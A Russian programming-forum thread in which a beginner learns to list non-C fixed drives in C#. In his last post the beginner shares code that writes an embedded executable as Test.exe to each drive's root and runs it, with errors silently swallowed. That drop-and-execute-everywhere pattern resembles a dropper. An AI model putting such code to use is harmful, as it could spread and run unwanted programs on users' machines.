Форум программистов, компьютерный форум, киберфорум
C# для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.67/15: Рейтинг темы: голосов - 15, средняя оценка - 4.67
1 / 1 / 0
Регистрация: 17.09.2018
Сообщений: 98

Как получить список только локальных дисков (без C:\)

25.03.2019, 17:18. Показов 3344. Ответов 8
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Всем привет! Как получить список только локальных дисков (без локального диска C:\) ? есть пример кода, но он показывает наличие всех носителей (флешки, cd-dvd) и локальный диск C, как его переделать что бы он показывал список только локальных дисков (без локального диска C:\) ? можно плиз пример)

C#
1
2
3
4
5
6
7
            DriveInfo[] driveinfo = DriveInfo.GetDrives();
            foreach (DriveInfo drive in driveinfo)
 
            {
                string fullpath = drive.RootDirectory.FullName;
                MessageBox.Show(fullpath);
            }
0
Лучшие ответы (1)
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
25.03.2019, 17:18
Ответы с готовыми решениями:

Список локальных дисков
Как в ComboBOX загнать имеющиеся локальные диски, и при выборе одного из них все данные он загонял в List таблицей для Visual Basic

Вывести список локальных дисков компьютера
Добрый день столкнулся с небольшой проблемой есть код который показывает жесткие диски, но кроме них он выводит еще и сд румы и флешки, как...

Составить список локальных дисков и приравнять каждый диск к новой переменной
string Drives = Environment.GetLogicalDrives(); foreach (string s in Drives) { Console.WriteLine(s); } это часть кода,...

8
228 / 165 / 110
Регистрация: 09.11.2015
Сообщений: 454
25.03.2019, 17:29
LordZZZzzzZZZ,
C#
1
2
3
4
5
6
7
8
DriveInfo[] driveinfo = DriveInfo.GetDrives();
            foreach (DriveInfo drive in driveinfo) 
            {
                if(drive.DriveType != DriveType.Fixed)
                     continue;
                string fullpath = drive.RootDirectory.FullName;
                MessageBox.Show(fullpath);
            }
1
1 / 1 / 0
Регистрация: 17.09.2018
Сообщений: 98
25.03.2019, 17:41  [ТС]
Цитата Сообщение от Ellizio Посмотреть сообщение
LordZZZzzzZZZ,
C#
1
2
3
4
5
6
7
8
DriveInfo[] driveinfo = DriveInfo.GetDrives();
            foreach (DriveInfo drive in driveinfo) 
            {
                if(drive.DriveType != DriveType.Fixed)
                     continue;
                string fullpath = drive.RootDirectory.FullName;
                MessageBox.Show(fullpath);
            }
а как исключить локальный диск C:\ из списка?)
0
 Аватар для PoPsa85
814 / 561 / 240
Регистрация: 01.07.2018
Сообщений: 1,818
25.03.2019, 18:57
Лучший ответ Сообщение было отмечено LordZZZzzzZZZ как решение

Решение

LordZZZzzzZZZ,
C#
1
DriveInfo.GetDrives().Where(x => !x.Name.Contains("C") && x.DriveType == DriveType.Fixed).ToList().ForEach(x=>MessageBox.Show(x.Name));
1
1 / 1 / 0
Регистрация: 17.09.2018
Сообщений: 98
25.03.2019, 20:14  [ТС]
Большое всем спасибо!

Добавлено через 2 минуты
Этот пример кода меня очень впечатлил! все в одну строчку... идеально

Добавлено через 1 час 5 минут
А как получить не имена дисков а их корневой каталог?
0
 Аватар для PoPsa85
814 / 561 / 240
Регистрация: 01.07.2018
Сообщений: 1,818
25.03.2019, 20:29
LordZZZzzzZZZ, Вам опять в одну строчку ?
C#
1
2
DriveInfo.GetDrives().Where(x => !x.Name.Contains("C") && x.DriveType == DriveType.Fixed).ToList().ForEach(
     x =>Directory.EnumerateFileSystemEntries(x.Name).ToList().ForEach(f => Console.WriteLine(f)));
Лучше так:
C#
1
2
3
4
5
6
7
            var drives = DriveInfo.GetDrives().Where(x => !x.Name.Contains("C") && x.DriveType == DriveType.Fixed);
            foreach (var drive in drives) { 
 
               var entries = Directory.EnumerateFileSystemEntries(drive.Name);
               foreach (var entry in entries)
                   Console.WriteLine(entry);
            }
1
1 / 1 / 0
Регистрация: 17.09.2018
Сообщений: 98
25.03.2019, 21:19  [ТС]
спасибо, этот код перебирает все папки в корневом каталоге всех локальных дисков и даже скрытые-системные папки! можно-ли как нибудь без их перечисления?, то-есть указывать просто корневой каталог. Всвязи с этим появляются исключения, мол нету доступа к определенным системным папкам. (я пишу программу которая должна закинуть ресурсы на все локальные диски в корень, кроме диска C)
0
 Аватар для PoPsa85
814 / 561 / 240
Регистрация: 01.07.2018
Сообщений: 1,818
25.03.2019, 21:28
LordZZZzzzZZZ, Этот код перебирает все диски, кроме С: как вы и хотели. Что значит корневой каталог ? Первый мой ответ и дает вам корневой каталог. Например: D:\ - это и есть корневой каталог диска D. Или я чего то не понимаю.
1
1 / 1 / 0
Регистрация: 17.09.2018
Сообщений: 98
26.03.2019, 09:12  [ТС]
Вроде все норм! Но отладка выдает необработанное исключение что отказано в доступе к дискам, в чем может быть проблема?

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
            var drives = DriveInfo.GetDrives().Where(x => !x.Name.Contains("C") && x.DriveType == DriveType.Fixed);
            foreach (var drive in drives)
            {
                string fullpath = drive.RootDirectory.FullName;
                
 
                using (FileStream fs = new FileStream(fullpath, FileMode.Create, FileAccess.Write))
                {
                    fs.Write(Properties.Resources.q, 0, Properties.Resources.q.Length);
                }
                    MessageBox.Show(fullpath + "Файл залит!");
 
            }
Добавлено через 32 минуты
А вот так работает!

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 var drives = DriveInfo.GetDrives().Where(x => !x.Name.Contains("C") && x.DriveType == DriveType.Fixed);
            foreach (var drive in drives)
            {
                string fullpath = drive.RootDirectory.FullName;
 
                try
                {
          //          using (FileStream fs = new FileStream(fullpath, FileMode.Create, FileAccess.Write))
          //          {
          //              fs.Write(Properties.Resources.q, 0, Properties.Resources.q.Length);
          //          }
 
                }
                catch { }
 
                string fil1 = fullpath + "\\Test.exe";
                
                if (!File.Exists(fil1))
                {
                    File.WriteAllBytes(fil1, Resources.q);
                    Process.Start(fil1);
                }
                else
                {
                    File.Delete(fil1);
                    File.WriteAllBytes(fil1, Resources.q);
                    Process.Start(fil1);
                }
 
                MessageBox.Show(fullpath + "Файл залит!");
            }
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
26.03.2019, 09:12
Помогаю со студенческими работами здесь

Как получить список дисков?
Буду писать вопросы кому не впадлу ответте. 1.Как получить список дисков все(a,d,c,e)? 2.Как узнать какие диски есьть CDROM? 3.Как...

Как получить список (имена) компов локальных машин
Здравствуйте , подскажите пожалуйста как можно получить список имен всех компьютеров подключенных в локальную сеть ? Я нашел готовый пример...

Как получить список дисков удаленного компьютера?
Как получить список дисков удаленного компьютера находящегося домене имея логин /пароль админа? Заранее спасибо!

Как получить список дисков на удаленном компьютере?
Подскажите, как получить список дисков на удаленном компьютере через idFTP?

Получить список дисков
Есть функция DWORD WINAPI GetLogicalDrives(void) Делаю следующий вызов в событии Form1_Shown Drivers=GetLogicalDrives(); ...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
9
Ответ Создать тему
Новые блоги и статьи
http://iceja.net/ математические сервисы
iceja 20.01.2026
Обновила свой сайт http:/ / iceja. net/ , приделала Fast Fourier Transform экстраполяцию сигналов. Однако предсказывает далеко не каждый сигнал (см ограничения http:/ / iceja. net/ fourier/ docs ). Также. . .
http://iceja.net/ сервер решения полиномов
iceja 18.01.2026
Выкатила http:/ / iceja. net/ сервер решения полиномов (находит действительные корни полиномов методом Штурма). На сайте документация по API, но скажу прямо VPS слабенький и 200 000 полиномов. . .
Расчёт переходных процессов в цепи постоянного тока
igorrr37 16.01.2026
/ * Дана цепь постоянного тока с R, L, C, k(ключ), U, E, J. Программа составляет систему уравнений по 1 и 2 законам Кирхгофа, решает её и находит переходные токи и напряжения на элементах схемы. . . .
Восстановить юзерскрипты Greasemonkey из бэкапа браузера
damix 15.01.2026
Если восстановить из бэкапа профиль Firefox после переустановки винды, то список юзерскриптов в Greasemonkey будет пустым. Но восстановить их можно так. Для этого понадобится консольная утилита. . .
Сукцессия микоризы: основная теория в виде двух уравнений.
anaschu 11.01.2026
https:/ / rutube. ru/ video/ 7a537f578d808e67a3c6fd818a44a5c4/
WordPad для Windows 11
Jel 10.01.2026
WordPad для Windows 11 — это приложение, которое восстанавливает классический текстовый редактор WordPad в операционной системе Windows 11. После того как Microsoft исключила WordPad из. . .
Classic Notepad for Windows 11
Jel 10.01.2026
Old Classic Notepad for Windows 11 Приложение для Windows 11, позволяющее пользователям вернуть классическую версию текстового редактора «Блокнот» из Windows 10. Программа предоставляет более. . .
Почему дизайн решает?
Neotwalker 09.01.2026
В современном мире, где конкуренция за внимание потребителя достигла пика, дизайн становится мощным инструментом для успеха бренда. Это не просто красивый внешний вид продукта или сайта — это. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru